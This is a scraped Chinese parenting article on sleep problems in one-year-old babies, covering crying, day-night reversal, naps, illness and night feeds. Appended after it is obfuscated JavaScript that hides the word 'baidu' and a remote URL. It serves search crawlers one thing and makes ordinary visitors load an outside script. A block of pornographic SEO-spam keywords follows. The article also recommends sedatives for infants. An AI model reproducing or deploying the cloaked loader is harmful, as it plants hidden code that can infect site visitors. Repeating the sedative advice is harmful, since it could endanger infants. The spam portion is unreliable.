當前位置:首頁 > 母嬰 > 育兒知識 > 正文

1歲寶寶睡眠不好怎么辦?

2017-03-03 15:34:56  來源:360常識網   熱度:
導語:如果說寶寶的睡眠不好,家長一定會非常心疼,因為寶寶睡眠不好的話夜里起床,也會影響到家長的睡眠,如果說小寶寶睡眠不好,應該怎么治療呢

如果說寶寶的睡眠不好,家長一定會非常心疼,因為寶寶睡眠不好的話夜里起床,也會影響到家長的睡眠,如果說小寶寶睡眠不好,應該怎么治療呢?有沒有什么很好的治療辦法,既能夠治療寶寶的睡眠,又能夠讓寶寶健康成長呢?一起通過下面的文字來詳細了解一下,寶寶睡眠不好到底怎么治療。

這是嬰兒時期常見的睡眠障礙,一般不外乎以下幾種情況。

●生理性哭鬧 孩子的尿布濕了或者裹得太緊、饑餓、口渴、室內溫度不合適、被褥太厚等,都會使小兒感覺不舒服而哭鬧。對于這種情況,父母只要及時消除不良刺激,孩子很快就會安靜入睡。此外,有的孩子每到夜間要睡覺時就會哭鬧不止,這時父母若能耐心哄其睡覺,孩子很快就會安然入睡。

●環境不適應 有些孩子對自然環境不適應,黑夜白天顛倒。父母白天上班他睡覺,父母晚上休息他“工作”。若將孩子抱起和他玩,哭鬧即止。對于這類孩子,可用些鎮靜劑把休息睡眠時間調整過來,必要時需請兒童保健醫生作些指導。

●白天運動不足 有的孩子白天運動不足,夜間不肯入睡,哭鬧不止。這些孩子白天應增加活動量,孩子累了,晚上就能安靜入睡。

●午睡時間安排不當 有的孩子早晨起不來,到了午后2~3點才睡午覺,或者午睡時間過早,以至晚上提前入睡,半夜睡醒,沒有人陪著玩就哭鬧。這些孩子早晨可以早些喚醒,午睡時間作適當調整,使孩子晚上有了睡意,就能安安穩穩地睡到天明。

●疾病影響 某些疾病也會影響孩子夜間的睡眠,對此,要從原發疾病入手,積極防治。

患佝僂病的嬰兒夜間常常煩躁不安,家長哄也無用。有的嬰兒半夜三更會突然驚醒,哭鬧不安,表情異常緊張,這大多是白天過于興奮或受到刺激,日有所思,夜有所夢。

此外,患蟯蟲病的孩子,夜晚蟯蟲會爬到肛門口產卵,引起皮膚奇癢,孩子也會煩躁不安,啼哭不停。

另外,有的家長在寶寶一哭時就喂他奶喝,其實這是不對的,不要讓寶寶養成一睜眼就張嘴要吃的習慣。一般到第4個月,就可以省掉夜里的一頓奶了,即晚上10點多喂飽之后,要一直睡到第二天早上6點。不然對孩子養成良好的作息、飲食習慣有壞處。

因此對于我們脆弱的嬰兒寶寶不能強制著讓他們睡著,盡可能用柔和的方式。如果不知道可以詢問醫生的意見,不要給孩子施加壓力,同時作為家長自己也不能太過于壓力給孩子造成不良影響。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
99热这里只有精品6免费| 国产精品黄大片在线播放| 国产精品一区二区三区99| 久久精品国产99国产精品导航| 人妻无码精品久久亚瑟影视| 久久国产精品成人影院| 国产高清在线精品一本大道国产| 精品福利一区二区三区免费视频| 精品亚洲一区二区三区在线观看| 亚洲中文字幕久久精品蜜桃| 久久精品一区二区国产| 国产成人亚洲精品蜜芽影院| 91午夜精品亚洲一区二区三区| 久久久久无码精品| 女同久久另类99精品国产| 久久精品国产亚洲av高清漫画| 中国大陆精品视频XXXX| 精品人妻一区二区三区四区| 六月婷婷国产精品综合| 久久精品视频大全| 久夜色精品国产一区二区三区| 国模精品视频一区二区三区 | 亚洲精品白浆高清久久久久久| 日韩精品视频免费观看| 91久久亚洲国产成人精品性色| 国内精品久久久久影院薰衣草| 国产suv精品一区二区6| 亚洲中文字幕精品久久| 91精品91久久久久久| 国产精品99久久免费观看| 精品国产成人国产在线观看| 精品国产三级在线观看| 97视频热人人精品免费| 精品无码成人片一区二区98| 午夜精品久久久久久久| 国产日产韩国精品视频| 国产精品99久久久精品无码| 亚洲精品老司机在线观看| 日韩人妻高清精品专区| 日韩精品无码区免费专区| 国产精品成人va|